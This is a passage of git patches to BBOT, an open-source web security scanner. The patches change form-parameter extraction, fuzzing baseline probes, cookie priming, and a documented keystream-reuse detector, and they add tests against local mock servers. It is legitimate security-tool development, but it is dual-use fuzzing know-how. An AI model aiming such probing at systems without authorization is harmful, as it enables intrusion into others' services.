confidence = r.meta["confidence"] + yara_rule_settings = YaraRuleSettings(description, tags, emit_match, severity, confidence) + + yara_results = {} + for h in r.strings: + instances = [] + seen_offsets = set() + for i in h.instances: + offset = getattr(i, "offset", 0) + if offset in seen_offsets: + continue + seen_offsets.add(offset) + instances.append((i.matched_data.decode("utf-8", errors="ignore"), offset)) + yara_results[h.identifier.lstrip("$")] = instances + await self.process(yara_results, event, yara_rule_settings, discovery_context) + async def process(self, yara_results, event, yara_rule_settings, discovery_context): # Two-pass: collect every yielded tuple across all YARA results for an # identifier (YARA matches each tag separately, so values for the @@ -661,14 +732,18 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte # surviving the WEB_PARAMETER dedup that would otherwise discard them. # Cross-value detectors (e.g. lightfuzz crypto's keystream-reuse check) # read same_param_values. + response_body = event.data.get("body", "") if isinstance(event.data, dict) else "" for identifier, results in yara_results.items(): if identifier not in self.parameterExtractorCallbackDict.keys(): raise ExcavateError("ParameterExtractor YaraRule identified reference non-existent submodule") grouped = {} submodule_name = None - for result in results: + for matched_data, match_offset in results: parameterExtractorSubModule = self.parameterExtractorCallbackDict[identifier]( - self.excavate, result + self.excavate, + matched_data, + response_body=response_body, + match_offset=match_offset, ) submodule_name = parameterExtractorSubModule.name async for ( @@ -1113,6 +1188,9 @@ async def setup(self): self.parameter_extraction = bool(modules_WEB_PARAMETER) self.speculate_params = bool(self.config.get("speculate_params", False)) self.remove_querystring = self.scan.config.get("url_querystring_remove", True) + # Bounded slice of the response body searched for a form's body, anchored + # at each YARA form-opening match. Caps worst-case Python re work per form. + self.max_form_bytes = int(self.config.get("max_form_bytes", 262144)) for module in self.scan.modules.values(): if not str(module).startswith("_"): diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 0dbd21c433..7b588307c5 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -5,6 +5,7 @@ from bbot.modules.internal.excavate import ExcavateRule from pathlib import Path +import time import yara @@ -1711,3 +1712,141 @@ def check(self, module_test, events): assert len(redirect_params) == 0, ( f"Out-of-scope redirect parameters should not be extracted, but got: {redirect_params}" ) + + +# Verifies excavate extracts parameters from a form whose body is far larger than +# YARA's `.*` regex ceiling (~4 KB). The fix routes form discovery through an +# opening-tag-only YARA regex and reads the form body from a bounded slice of the +# response. Before the fix, this fixture produced zero WEB_PARAMETER events; after +# it, every field must be extracted, and the work must stay fast. +class TestExcavateGiantForm(ModuleTestBase): + targets = ["http://127.0.0.1:8888/"] + modules_overrides = ["http", "excavate", "hunt"] + + GIANT_OPTION_COUNT = 5000 + + @classmethod + def _build_giant_form_html(cls, option_count): + # ~40 bytes per option × N options dominates the form body, easily blowing + # past YARA's regex ceiling on `
.*
` patterns. + options = "".join(f'' for i in range(option_count)) + return ( + "" + '
' + '' + '' + f'' + '' + "
" + "" + ) + + async def setup_after_prep(self, module_test): + body = self._build_giant_form_html(self.GIANT_OPTION_COUNT) + # Sanity check the fixture really is past the YARA cliff. + assert len(body) > 100_000, f"giant-form fixture not large enough: {len(body)} bytes" + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={"response_data": body, "status": 200, "headers": {"Content-Type": "text/html"}}, + ) + # Stash a start time so check() can do a coarse wall-clock assertion. + module_test._giantform_start = time.monotonic() + + def check(self, module_test, events): + elapsed = time.monotonic() - module_test._giantform_start + # Coarse upper bound: full scan including HTTP fetch should stay snappy on + # a normal dev box even with a 200 KB form. The spec calls for sub-200ms + # processing of the giant-form HTTP_RESPONSE itself; we allow more slack + # here because the wall-clock includes the rest of the scan harness. + assert elapsed < 30, f"giant-form scan took {elapsed:.1f}s — likely a pathological regex regression" + + web_params = {e.data.get("name") for e in events if e.type == "WEB_PARAMETER" and isinstance(e.data, dict)} + expected = {"provider_id", "csrf", "search_term"} + missing = expected - web_params + assert not missing, f"WEB_PARAMETERs missing for giant-form fields: {missing}. Got: {sorted(web_params)}" + + +# Same shape as the giant-form test but with a form body that exceeds +# max_form_bytes. The bound is a defensive cap: forms that don't fit are +# skipped entirely (no partial extraction). The test asserts excavate doesn't +# hang or OOM on a multi-hundred-KB form fixture. +class TestExcavateGiantFormExceedsMaxBytes(ModuleTestBase): + targets = ["http://127.0.0.1:8888/"] + modules_overrides = ["http", "excavate", "hunt"] + + # Constrain max_form_bytes so we don't have to generate a literal 2 MB + # fixture to prove the bound holds — 32 KB is well below the body size + # the next fixture generates (~240 KB). + config_overrides = {"modules": {"excavate": {"max_form_bytes": 32768}}} + + OPTION_COUNT = 6000 # ~240 KB form body — 7.5× past max_form_bytes + + @classmethod + def _build_giant_form_html(cls, option_count): + options = "".join(f'' for i in range(option_count)) + return ( + "" + '
' + '' + '' + f'' + '' + "
" + "" + ) + + async def setup_after_prep(self, module_test): + body = self._build_giant_form_html(self.OPTION_COUNT) + # Sanity check we built something that actually exceeds the configured bound. + assert len(body) > 32768 * 5, f"oversized fixture too small: {len(body)} bytes" + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={"response_data": body, "status": 200, "headers": {"Content-Type": "text/html"}}, + ) + module_test._oversized_start = time.monotonic() + + def check(self, module_test, events): + # Hang/OOM guard: a runaway extractor would push wall-clock well past + # this. A correctly-bounded extractor handles even a 240 KB form in seconds. + elapsed = time.monotonic() - module_test._oversized_start + assert elapsed < 60, f"oversized-form scan took {elapsed:.1f}s — bound likely not enforced" + + # No form-field WEB_PARAMETERs should be emitted for the oversized form + # — extraction regex anchors on `` which falls outside the bound. + # Other WEB_PARAMETERs (e.g. global `test` header from scan config) are fine. + form_fields = {"csrf", "search_term", "provider_id"} + emitted = {e.data.get("name") for e in events if e.type == "WEB_PARAMETER" and isinstance(e.data, dict)} + leaked = form_fields & emitted + assert not leaked, ( + f"oversized form's fields should be skipped entirely under the bound, but excavate emitted: {leaked}" + ) + + +# Verifies the opening-tag YARA regex fires regardless of attribute order. +# Both `
` and `` should +# extract the form's fields. +class TestExcavateFormAttributeOrder(ModuleTestBase): + targets = ["http://127.0.0.1:8888/"] + modules_overrides = ["http", "excavate", "hunt"] + + html = """ + + + +
+
+ +
+ + """ + + async def setup_after_prep(self, module_test): + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={"response_data": self.html, "status": 200, "headers": {"Content-Type": "text/html"}}, + ) + + def check(self, module_test, events): + names = {e.data.get("name") for e in events if e.type == "WEB_PARAMETER" and isinstance(e.data, dict)} + assert "action_first" in names, f"missing action-first form field; got {sorted(names)}" + assert "method_first" in names, f"missing method-first form field; got {sorted(names)}" From fe63fe46d0fb08876c64bafe6659052d5c7b88f4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 16:04:09 -0400 Subject: [PATCH 37/50] docs: document lightfuzz crypto's keystream-reuse / many-time-pad detection New Stage 0 in the crypto section covering the cross-value pairwise-XOR check, its severity/confidence ladder, and why it bypasses the entropy gate. --- docs/modules/lightfuzz.md | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/docs/modules/lightfuzz.md b/docs/modules/lightfuzz.md index 9326ad4a13..14d078fa32 100644 --- a/docs/modules/lightfuzz.md +++ b/docs/modules/lightfuzz.md @@ -147,7 +147,17 @@ If the response contains `1787569` (or `1,787,569`), the expression was evaluate Identifies cryptographic parameters and probes for cryptographic vulnerabilities. This submodule has several stages with varying confidence levels. -**Stage 1 — Cryptanalysis Gate**: Checks if the parameter value is likely encrypted by calculating Shannon entropy (threshold: 4.5) and whether its decoded length is a multiple of 8 (suggesting a block cipher). If entropy is below threshold, all further tests are skipped. +**Stage 0 — Keystream Reuse / Many-Time-Pad** (HIGH/CONFIRMED to MEDIUM/PROBABLE; zero HTTP requests): A cross-value passive check that runs *before* the entropy gate. When a stream cipher reuses a single keystream across multiple encryptions (no IV, fixed key — a common homebrew mistake), XOR-ing any two ciphertexts yields the XOR of their plaintexts. For natural-language or identifier plaintexts that share a prefix, the result begins with a run of zero bytes — mathematically impossible under correct encryption. + +The detector gathers candidate ciphertexts from the parameter's own value plus every value in `additional_params` (sibling form fields) and `same_param_values` (other observed values for the same parameter across a single page, e.g. sort links with distinct hex-encoded keys). It decodes each via the existing `format_agnostic_decode()` helper, pairwise-XORs them, and scores the result: + +- **HIGH / CONFIRMED** — a leading run of ≥ 5 zero bytes (two plaintexts share their first 5+ bytes; impossible under correct encryption with fresh IVs) +- **HIGH / PROBABLE** — a 3-4 byte zero run, or ≥ 95% of XOR bytes fall in the `[0x00, 0x60]` "printable-ASCII XOR printable-ASCII" range +- **MEDIUM / PROBABLE** — ≥ 90% ASCII-XOR-ASCII bytes but no zero-run + +This stage bypasses the entropy gate (Stage 1) because the short ASCII plaintexts most vulnerable to this misuse often produce ciphertext below the 4.5-bit threshold the gate would otherwise filter out. + +**Stage 1 — Cryptanalysis Gate**: Checks if the parameter value is likely encrypted by calculating Shannon entropy (threshold: 4.5) and whether its decoded length is a multiple of 8 (suggesting a block cipher). If entropy is below threshold, all per-value tests are skipped (Stage 0's cross-value check has already run). **Stage 2 — Response Divergence** (INFORMATIONAL severity, LOW confidence): Performs byte-level manipulations (truncation and single-byte mutation) and compares responses against both the baseline and an arbitrary garbage value. If the manipulated ciphertext produces a *different* response from both the original *and* garbage input, the parameter likely drives a real cryptographic operation. From 20023d07a5c0b17757834c1611d5637b8ddd93b8 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 16:16:28 -0400 Subject: [PATCH 38/50] lightfuzz: coerce None to empty string in prepare_request wire serialization MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Excavate stores original_value=None for elements without a value= attribute (distinct from value="" in event metadata). Browsers submit both cases identically as name= (empty value), but Python's urlencode renders None as the literal text 'None' — the target server then sees name=None and typically rejects the request as malformed. Coerce None → '' at the prepare_request wire boundary so the request matches browser-equivalent semantics. Affects the populate_empty=False path (baseline_probe and any explicit caller); the populate_empty=True path already replaces None with random strings in additional_params_process. Regression test Test_Lightfuzz_none_in_additional_params: server reveals the secret only when the no-value-attr field arrives as '' (empty) rather than the literal 'None'. Verified the test fails on the pre-fix codebase and passes after. --- bbot/modules/lightfuzz/submodules/base.py | 11 +++ .../module_tests/test_module_lightfuzz.py | 71 +++++++++++++++++++ 2 files changed, 82 insertions(+) diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index 5d572e1eda..bf8b08b2f2 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -122,6 +122,17 @@ def prepare_request( parameter_name = self.parameter_name additional_params = self.additional_params_process(additional_params, additional_params_populate_empty) + # Normalize None values to "" at the wire boundary. Excavate intentionally + # distinguishes `original_value=None` (" had no value attribute") from + # `original_value=""` ("") in the event metadata, but the + # wire serialization is identical for both — browsers submit them as `name=`. + # Python's urlencode renders None as the literal text "None", which targets + # then reject as malformed input. + if additional_params: + additional_params = {k: ("" if v is None else v) for k, v in additional_params.items()} + if probe is None: + probe = "" + # Transparently pack the probe value into the envelopes, if present probe = self.outgoing_probe_value(probe) diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index b035c1b7c8..c165785afc 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -4394,3 +4394,74 @@ def check(self, module_test, events): "URL_UNVERIFIED for /crypto-baseline-secret not emitted — baseline_probe " "did not submit the form properly (request body missing the token field)." ) + + +# Regression test for the None-as-additional-params bug. +# +# Excavate stores original_value=None for elements without a `value=` +# attribute (it distinguishes "no value attribute" from "empty value attribute" +# in event metadata). When lightfuzz fuzzes a sibling field, the None comes +# through in additional_params and Python's urlencode renders None as the +# literal text "None" — the target server then sees `name=None` instead of +# `name=` (the empty value a browser would actually submit), and typically +# rejects the request as malformed. +# +# Fix: coerce None → "" at the prepare_request wire boundary. This test stands +# up a server that only reveals /none-bug-secret when the no-value-attr field +# arrives as "" (browser-equivalent), and rejects literal "None". +class Test_Lightfuzz_none_in_additional_params(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http", "lightfuzz", "excavate"] + config_overrides = { + "interactsh_disable": True, + "modules": { + # crypto is the submodule that calls baseline_probe() with the default + # additional_params_populate_empty=False, so None survives through to + # prepare_request and exercises the wire-boundary coercion. + "lightfuzz": {"enabled_submodules": ["crypto"]}, + }, + } + + # The `search_term` input has NO value= attribute → excavate sets + # original_value=None → without the wire-boundary normalization, the + # baseline POST would send `search_term=None` (literal). + landing_page = """ + +
+ + + +
+ + """ + + async def setup_after_prep(self, module_test): + def handler(request): + if request.method == "GET": + return Response(self.landing_page, status=200, content_type="text/html") + # Reject the literal text "None" — that's the smoking gun for the + # urlencode-of-None bug. An empty string (the browser-equivalent + # submission) reveals the secret. + search_term = request.form.get("search_term", "") + csrf = request.form.get("csrf", "") + if csrf == "abc" and search_term == "": + body = '
ok' + else: + body = f"got search_term={search_term!r}" + return Response(body, status=200, content_type="text/html") + + module_test.set_expect_requests_handler( + expect_args=re.compile(".*"), + request_handler=handler, + ) + + def check(self, module_test, events): + secret_url = "http://127.0.0.1:8888/none-bug-secret" + secret_seen = any( + e.type == "URL_UNVERIFIED" and str(getattr(e, "data", {}).get("url", "") or e.data) == secret_url + for e in events + ) + assert secret_seen, ( + "URL_UNVERIFIED for /none-bug-secret not emitted — lightfuzz POST likely " + "sent the literal text 'None' instead of '' for the no-value-attr field." + ) From e208d3b91fe759c641f03b2f2946f581663a3290 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 17:33:16 -0400 Subject: [PATCH 39/50] lightfuzz: dual baseline_probe (form-as-captured + populate-empty-as-'a') MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit baseline_probe now fires up to two requests per WEB_PARAMETER: * Probe A — form as captured (existing behavior). Filter-style forms whose 'show all results' state is the no-narrowing default produce content here. * Probe B — substitute 'a' for the fuzzed field's value, only when its original_value is None or ''. Catches search-style forms whose useful content appears only when the primary text input is non-empty. Both responses go through emit_baseline_response so excavate can mine whichever returned populated content. No classifier picks between them — they both fire and the response is the arbiter. The baseline submission is hoisted to lightfuzz.handle_event so it runs once per WEB_PARAMETER regardless of which submodules are enabled (it's a module-level recon→DAST loop feature, not a crypto-specific one). Crypto still aborts early on empty probe_value as before — that's the correct behavior for crypto's per-value analyses, separate concern. Per-signature LRU cache (_baseline_probe_response_cache, bounded at 200 entries) ensures identical baselines across siblings of the same form collapse to one network request and one emission. Tests cover the two functional cases: * Search-style form with empty input → Probe B reveals secret link. * + + + """ + + async def setup_after_prep(self, module_test): + def handler(request): + if request.method == "GET": + return Response(self.landing_page, status=200, content_type="text/html") + q = request.form.get("q", "") + if q == "a": + body = 'match' + else: + body = "no results" + return Response(body, status=200, content_type="text/html") + + module_test.set_expect_requests_handler( + expect_args=re.compile(".*"), + request_handler=handler, + ) + + def check(self, module_test, events): + secret_url = "http://127.0.0.1:8888/dual-probe-secret" + secret_seen = any( + e.type == "URL_UNVERIFIED" and str(getattr(e, "data", {}).get("url", "") or e.data) == secret_url + for e in events + ) + assert secret_seen, ( + "URL_UNVERIFIED for /dual-probe-secret not emitted — baseline_probe's " + "Probe B (substituted value='a') likely didn't fire for the empty ." + ) + + +# When the fuzzed field has a real captured default (e.g., + + + + + + """ + + async def setup_after_prep(self, module_test): + # Reset class state for this run (in case of repeated runs in one process). + self._request_log["posts"] = [] + + def handler(request): + if request.method == "GET": + return Response(self.landing_page, status=200, content_type="text/html") + self._request_log["posts"].append(dict(request.form)) + return Response("ok", status=200, content_type="text/html") + + module_test.set_expect_requests_handler( + expect_args=re.compile(".*"), + request_handler=handler, + ) + + def check(self, module_test, events): + posts = self._request_log["posts"] + # All POSTs should carry role=admin (the captured selected value). If + # Probe B fired for this field, we'd see at least one POST with role="a". + assert all(p.get("role") == "admin" for p in posts), ( + f"Probe B fired for a field with a captured default; posts: {posts}" + ) + # And we expect just one unique POST body (Probe A) — caching collapses + # any duplicate Probe A fires across siblings. + unique_bodies = {tuple(sorted(p.items())) for p in posts} + assert len(unique_bodies) == 1, ( + f"Expected one unique POST body for the selected-option form, got {len(unique_bodies)}: {unique_bodies}" + ) From fe6c30994b6a0ce60d5d2f3c8767fcf6136b9472 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 21:19:42 -0400 Subject: [PATCH 40/50] lightfuzz: host_url priming + coalesced connectivity_test; excavate: kill PostForm_NoAction phantom MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - excavate stamps host_url on form-derived WEB_PARAMETERs when the form's action URL differs from the discovery page; lightfuzz primes its connectivity GET against host_url and stamps Referer on probe requests - lightfuzz coalesces concurrent connectivity_test GETs per prime_url via NamedLock so the 4-5 WEB_PARAMETERs excavate emits per page share one GET instead of racing parallel ones under _module_threads=4 - lightfuzz dedup hash includes body_md5 for non-FINDING events so dual baseline_probe (Probe A vs Probe B) surfaces distinct bodies to excavate - regexes: tighten post_form_regex_noaction with a negative-lookahead so it stops over-matching forms with action — was emitting a phantom WEB_PARAMETER whose url fell back to event.url - test: rewrite cookie_refresh server to bootstrap-then-validate (matches real CSRF protections); add host_url priming end-to-end test --- bbot/core/helpers/regexes.py | 9 +- bbot/modules/internal/excavate.py | 8 ++ bbot/modules/lightfuzz/lightfuzz.py | 50 ++++++- bbot/modules/lightfuzz/submodules/base.py | 42 +++++- .../module_tests/test_module_lightfuzz.py | 131 ++++++++++++++++-- 5 files changed, 224 insertions(+), 16 deletions(-) diff --git a/bbot/core/helpers/regexes.py b/bbot/core/helpers/regexes.py index 0e00416a69..ad3cf14780 100644 --- a/bbot/core/helpers/regexes.py +++ b/bbot/core/helpers/regexes.py @@ -157,7 +157,14 @@ re.DOTALL, ) post_form_regex_noaction = re.compile( - r"]*(?:\baction=[\"']?([^\s\"'<>]+)[\"']?)?[^>]*\bmethod=[\"']?[pP][oO][sS][tT][\"']?[^>]*>([\s\S]*?)<\/form>", + # Negative lookahead rejects forms that already carry action= (those are + # handled by post_form_regex / post_form_regex2 with the real action URL). + # Without it, the action group's `?` makes this regex over-eagerly match + # forms with action, capturing '' and emitting a phantom WEB_PARAMETER + # whose url falls back to event.url — racing the legitimate emission. + # The empty `()` keeps findall's tuple shape (form_action, form_content) + # consistent with the other form regexes consumed by GetForm.extract(). + r"]*\baction=)()[^>]*\bmethod=[\"']?[pP][oO][sS][tT][\"']?[^>]*>([\s\S]*?)<\/form>", re.DOTALL, ) generic_form_regex = re.compile( diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index ef9c6fe7a6..ae18fbbdf3 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -819,6 +819,14 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte } if same_param_values: data["same_param_values"] = same_param_values + # When the form's action URL is a different endpoint than the page + # the form was discovered on, stamp the host URL. lightfuzz primes + # its connectivity GET (cookies, session bootstrap) against this + # URL, and submodules stamp it as the POST's Referer — matching + # what a browser would have done when submitting the form. + host_url = event.url + if host_url and host_url != emit_url: + data["host_url"] = host_url await self.report(data, event, yara_rule_settings, discovery_context, event_type="WEB_PARAMETER") class CSPExtractor(ExcavateRule): diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index a73ba60dec..599d8af350 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -2,6 +2,7 @@ from urllib.parse import urlparse from bbot.modules.base import BaseModule +from bbot.core.helpers.async_helpers import NamedLock from bbot.errors import InteractshError from bbot.core.helpers.misc import get_waf_strings @@ -70,6 +71,19 @@ async def setup(self): self._baseline_probe_response_cache = {} self._baseline_probe_response_cache_max = 200 + # Cross-event cache for connectivity_test responses keyed on prime_url. + # Every WEB_PARAMETER's handle_event fires a connectivity GET against + # prime_url to refresh assigned_cookies; with _module_threads > 1, the + # five-or-so WEB_PARAMETERs excavate emits per page (csrf, custom header, + # Set-Cookie) all race their GETs against the same host page. Servers + # that cycle a session/CSRF token on each GET hand each racer a distinct + # token, then every subsequent POST lands with a stale cookie. + # NamedLock per prime_url serializes concurrent handle_events for the + # same URL: first caller fires the GET and caches the response, the + # rest acquire the released lock and return the cached response. + self._connectivity_test_cache = {} + self._connectivity_test_locks = NamedLock(max_size=200) + if not self.enabled_submodules: return False, "Lightfuzz enabled without any submodules. Must enable at least one submodule." @@ -136,6 +150,22 @@ async def interactsh_callback(self, r): # this is likely caused by something trying to resolve the base domain first and can be ignored self.debug("skipping result because subdomain tag was missing") + async def _connectivity_test(self, prime_url): + """Fire (or share) a connectivity GET against ``prime_url`` to refresh + cookies/CSRF state, returning the response. Concurrent handle_events + for the same prime_url serialize through a per-URL lock: the first + caller fires the GET and caches the response; subsequent callers + acquire the released lock and read the cached value back.""" + cache = self._connectivity_test_cache + if prime_url in cache: + return cache[prime_url] + async with self._connectivity_test_locks.lock(prime_url): + if prime_url in cache: + return cache[prime_url] + response = await self.helpers.request(prime_url, timeout=10) + cache[prime_url] = response + return response + @staticmethod def _baseline_request_signature(request_params): """Stable hashable signature of a baseline request (URL + method + body + cookies + headers).""" @@ -206,6 +236,13 @@ def _outgoing_dedup_hash(self, event): event.data.get("name", ""), ) ) + # HTTP_RESPONSE and friends: include body hash in dedup so Probe A and + # Probe B emissions (same method+url, distinct bodies) both surface. + body_hash = "" + if isinstance(event.data, dict): + response_hash = event.data.get("hash") or {} + if isinstance(response_hash, dict): + body_hash = response_hash.get("body_md5", "") or "" return hash( ( "lightfuzz", @@ -213,6 +250,7 @@ def _outgoing_dedup_hash(self, event): str(event.host), event.url, event.data.get("method", "") if isinstance(event.data, dict) else "", + body_hash, ) ) @@ -262,8 +300,16 @@ async def handle_event(self, event): await self.emit_event(data, "WEB_PARAMETER", event) elif event.type == "WEB_PARAMETER": - # check connectivity to url - connectivity_test = await self.helpers.request(event.url, timeout=10) + # Prime against the form's host page when distinct from the action URL. + # Browsers GET the host page first (seeding session cookies, CSRF tokens, + # any required server-side bootstrap state) and then POST to the action. + # When excavate stamps host_url on a form-derived WEB_PARAMETER, we mirror + # that flow: the connectivity GET hits host_url, fresh cookies merge into + # assigned_cookies, and the baseline POST goes to event.url. Falls back + # to event.url for non-form params or self-posting forms. + host_url = event.data.get("host_url") if isinstance(event.data, dict) else None + prime_url = host_url if host_url and host_url != event.url else event.url + connectivity_test = await self._connectivity_test(prime_url) if connectivity_test: # Refresh assigned_cookies from the connectivity GET. The cookies excavate diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index 87ea52e025..055fac1756 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -145,22 +145,54 @@ def prepare_request( # Construct request parameters based on the event type if event_type == "GETPARAM": url = self.build_query_string(probe, parameter_name, additional_params) - return {"method": "GET", "cookies": cookies, "url": url} + request_params = {"method": "GET", "cookies": cookies, "url": url} elif event_type == "COOKIE": cookies_probe = {parameter_name: probe} - return {"method": "GET", "cookies": {**cookies, **cookies_probe}, "url": self.event.url} + request_params = { + "method": "GET", + "cookies": {**cookies, **cookies_probe}, + "url": self.event.url, + } elif event_type == "HEADER": headers = {parameter_name: probe} - return {"method": "GET", "headers": headers, "cookies": cookies, "url": self.event.url} + request_params = { + "method": "GET", + "headers": headers, + "cookies": cookies, + "url": self.event.url, + } elif event_type in ["POSTPARAM", "BODYJSON"]: # Prepare data for POSTPARAM and BODYJSON event types data = {parameter_name: probe} if additional_params: data.update(additional_params) if event_type == "BODYJSON": - return {"method": "POST", "json": data, "cookies": cookies, "url": self.event.url} + request_params = { + "method": "POST", + "json": data, + "cookies": cookies, + "url": self.event.url, + } else: - return {"method": "POST", "data": data, "cookies": cookies, "url": self.event.url} + request_params = { + "method": "POST", + "data": data, + "cookies": cookies, + "url": self.event.url, + } + else: + return None + + # Stamp Referer matching what a browser would have sent: the URL of the page + # the form was discovered on. Only set when excavate marked the parameter as + # coming from a form whose host page is distinct from the action URL — apps + # that validate Referer for CSRF-like patterns reject POSTs without it. + host_url = self.event.data.get("host_url") if isinstance(self.event.data, dict) else None + if host_url: + request_params.setdefault("headers", {}) + request_params["headers"]["Referer"] = host_url + + return request_params def compare_baseline( self, diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 17f645c9d8..4319d6dd0d 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -4269,8 +4269,12 @@ class Test_Lightfuzz_cookie_refresh(ModuleTestBase): }, } - # Stateful: counter cycles per GET, current_token tracks the latest one issued. - _token_state = {"counter": 0, "current": None} + # The very first issued token is a "bootstrap" — represents the cookie the + # spider captured, which we want to reject at POST time. Subsequent GETs + # without an incoming cookie issue tokens that ARE valid for POST. GETs + # that carry a cookie preserve the current token without rotating, so + # parallel probes (sqli COOKIE fuzzing) don't invalidate the legitimate POST. + _token_state = {"counter": 0, "current": None, "valid_for_post": set()} landing_page = """ @@ -4283,20 +4287,33 @@ class Test_Lightfuzz_cookie_refresh(ModuleTestBase): async def setup_after_prep(self, module_test): state = self._token_state + state["counter"] = 0 + state["current"] = None + state["valid_for_post"] = set() def combined_handler(request): - # GET / → serve the form, cycle the TESTSESSION cookie to a fresh token. - # POST /cookie-login → reveal the secret only if the request carries the - # most-recently-issued TESTSESSION (the post-refresh token). + # GET / → if no incoming cookie, issue a fresh token. The first + # issued token (spider's) is bootstrap-only and NOT added to + # valid_for_post; subsequent issuances ARE valid for POST. GETs + # that already carry a cookie preserve current — parallel probes + # (sqli COOKIE fuzzing on TESTSESSION) don't invalidate the + # legitimate baseline POST. + # POST /cookie-login → reveal the secret only if the cookie was + # issued by a non-bootstrap GET. The discriminator: lightfuzz MUST + # refresh via its connectivity_test GET; using the spider's + # captured cookie directly fails. if request.method == "GET": - state["counter"] += 1 - state["current"] = f"token-{state['counter']}" + if not request.cookies.get("TESTSESSION"): + state["counter"] += 1 + state["current"] = f"token-{state['counter']}" + if state["counter"] > 1: + state["valid_for_post"].add(state["current"]) resp = Response(self.landing_page, status=200, content_type="text/html") resp.set_cookie("TESTSESSION", state["current"], path="/") return resp else: # POST cookie = request.cookies.get("TESTSESSION", "") - if cookie and cookie == state["current"]: + if cookie in state["valid_for_post"]: body = 'Authorized' else: body = "

Session expired

" @@ -4569,3 +4586,101 @@ def check(self, module_test, events): assert len(unique_bodies) == 1, ( f"Expected one unique POST body for the selected-option form, got {len(unique_bodies)}: {unique_bodies}" ) + + +# End-to-end test for host-page priming: forms whose action URL is a different +# endpoint than the page they were discovered on (the canonical CF / ASP.NET +# WebForms / "search → results" shape) require a real browser to GET the host +# page first to seed session state, then POST to the action URL with those +# cookies. This server only reveals /host-cookie-secret when the POST carries +# a cookie that's only set on the host page's GET response. +class Test_Lightfuzz_host_url_priming(ModuleTestBase): + targets = ["http://127.0.0.1:8888/host.html"] + modules_overrides = ["http", "lightfuzz", "excavate"] + config_overrides = { + "interactsh_disable": True, + "modules": {"lightfuzz": {"enabled_submodules": ["crypto"]}}, + } + + _request_log = {"action_posts": [], "action_referers": []} + + host_page = """ + +

Search

+
+ + +
+ + """ + + async def setup_after_prep(self, module_test): + self._request_log["action_posts"] = [] + self._request_log["action_referers"] = [] + + def handler(request): + path = request.path + if path == "/host.html" and request.method == "GET": + resp = Response(self.host_page, status=200, content_type="text/html") + # Cookie is set only on the host page's GET — POSTs that didn't + # GET this page first won't carry it. + resp.set_cookie("HOSTSESSION", "host-page-cookie", path="/") + return resp + if path == "/action" and request.method == "POST": + self._request_log["action_posts"].append(dict(request.form)) + self._request_log["action_referers"].append(request.headers.get("Referer", "")) + self._request_log.setdefault("action_cookie_headers", []).append(request.headers.get("Cookie", "")) + # Reveal the secret only when: + # - the HOSTSESSION cookie is present (proves lightfuzz primed + # against /host.html and carried its cookies through), AND + # - the keyword field is non-empty (proves dual-probe's Probe B fired) + cookie = request.cookies.get("HOSTSESSION", "") + keyword = request.form.get("keyword", "") + if cookie == "host-page-cookie" and keyword: + body = 'found' + else: + body = f"missing pieces (cookie={cookie!r} keyword={keyword!r})" + return Response(body, status=200, content_type="text/html") + return Response("not found", status=404) + + module_test.set_expect_requests_handler( + expect_args=re.compile(".*"), + request_handler=handler, + ) + + def check(self, module_test, events): + secret_url = "http://127.0.0.1:8888/host-cookie-secret" + secret_seen = any( + e.type == "URL_UNVERIFIED" and str(getattr(e, "data", {}).get("url", "") or e.data) == secret_url + for e in events + ) + assert secret_seen, ( + "URL_UNVERIFIED for /host-cookie-secret not emitted — lightfuzz POST " + "to /action likely didn't carry the cookie set by GET /host.html, " + "meaning host_url priming failed.\n" + f"action POSTs received: {self._request_log['action_posts']}\n" + f"Referer headers received: {self._request_log['action_referers']}\n" + f"Cookie headers received: {self._request_log.get('action_cookie_headers')}" + ) + + # At least one keyword WEB_PARAMETER should carry host_url pointing to /host.html. + # Excavate emits one per form-extractor that matches; the PostForm (with action) + # extractor stamps host_url, the PostForm_NoAction emission doesn't (its emit_url + # falls back to event.url so they coincide and stamping is a no-op). + keyword_params = [ + e + for e in events + if e.type == "WEB_PARAMETER" and isinstance(e.data, dict) and 